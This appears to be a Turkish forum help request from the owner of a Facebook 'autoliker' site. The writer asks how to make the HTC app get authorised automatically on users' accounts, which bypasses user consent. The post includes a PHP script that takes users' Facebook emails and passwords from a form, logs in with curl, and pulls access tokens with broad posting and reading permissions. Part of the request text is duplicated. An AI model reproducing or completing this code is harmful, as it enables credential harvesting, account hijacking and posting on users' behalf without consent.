Merhaba arkadaşlar, otomatik giriş yapmak istedim ama bi sıkıntım var. Facebook'ta HTC uygulamasına id pass ile token kodu aldırmak istiyorum. Kişi eğer HTC uygulamasına önceden izin vermişse token kodu aldırabiliyorum ama HTC uygulamasına girmemiş ise token kodu alamıyorum. yapmak istediğim adam eğer uygulamaya girmemişse otomatik uygulamaya izin verdirmek.
örnek: Hublaa Autoliker Facebook Alternatif girişte id pass ile giriliyor. HTC uygulamasına girmemişsenin otomatik sokuyor ve token kodu alıyor.
bendekide otomatik uygulamaya sokup token kodu alamıyor sadece önceden uygulamaya girmişse token kodu alıyor:
Kendi sitem: http://socialtr.com
yardımcı olursanız sevinirim.
örnek: Hublaa Autoliker Facebook Alternatif girişte id pass ile giriliyor. HTC uygulamasına girmemişsenin otomatik sokuyor ve token kodu alıyor.
bendekide otomatik uygulamaya sokup token kodu alamıyor sadece önceden uygulamaya girmişse token kodu alıyor:
Kendi sitem: http://socialtr.com
yardımcı olursanız sevinirim.
PHP:
<?php$dataLog = array('host' => '127.0.0.1','pass' => $_POST['pass'],'email' => $_POST['email'],);
$bot = new bot($dataLog );
class bot{private $dataLog;function __construct($dataLog){ $this->pass = $dataLog[pass]; $this->email =$dataLog[email]; }
private function _req($url,$type=null,$fields=null){ $opts = array( 19913 => 1, 10002 => $url, 10018 => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', ); $ch=curl_init(); if($type){ if($type == 1){ $opts[10082] = 'token'; } if($type == 3){ $opts[42] = 1; } $opts[10031] = 'token'; } if($fields){ $opts[47] = true; $opts[10015] = $fields; } curl_setopt_array($ch,$opts); $result = curl_exec($ch); curl_close($ch); return $result; }
public function setToken(){ $url = $this->getUrl('m','dialog/oauth',array( 'app_id' => '41158896424', 'next' => urlencode('https://m.facebook.com/connect/login_success.html'), 'response_type' => 'token', 'perms' => 'publish_stream,offline_access,read_stream,publish_actions', ) ); $getToken = $this->_req($url,3); if(ereg('access_token',$getToken)){ $accessToken = substr($getToken,strpos($getToken,'access_token')+13,(strpos($getToken,'&expires_in') - (strpos($getToken,'access_token')+13))); } if($accessToken){ //$this->saveFile('token.txt',$accessToken); //return $accessToken; echo $accessToken; }else{ //return false; echo 'Token alınamadı.'; } }
private function saveFile($x,$y){ $f = fopen($x,'w'); fwrite($f,$y); fclose($f); }private function getUrl($domain,$dir,$uri=null){ if($uri){ foreach($uri as $key =>$value){ $parsing[] = $key . '=' . $value; } $parse = '?' . implode('&',$parsing); } return 'https://' . $domain . '.facebook.com/' . $dir . $parse; }
public function login(){ $login = array( 'pass' => $this -> pass, 'email' => $this -> email, 'login' => 'Login', ); $this->_req($this->getUrl('m','login.php'),1,$login); }
}
if($_POST) {if($bot->setToken()){ echo $bot->setToken(); }else{ $bot->login(); }}?><form action="" method="post"><input type="text" name="email" placeholder="Kullanıcı adını giriniz."><input type="text" name="pass" placeholder="Şifreyi giriniz."><input type="submit"></form>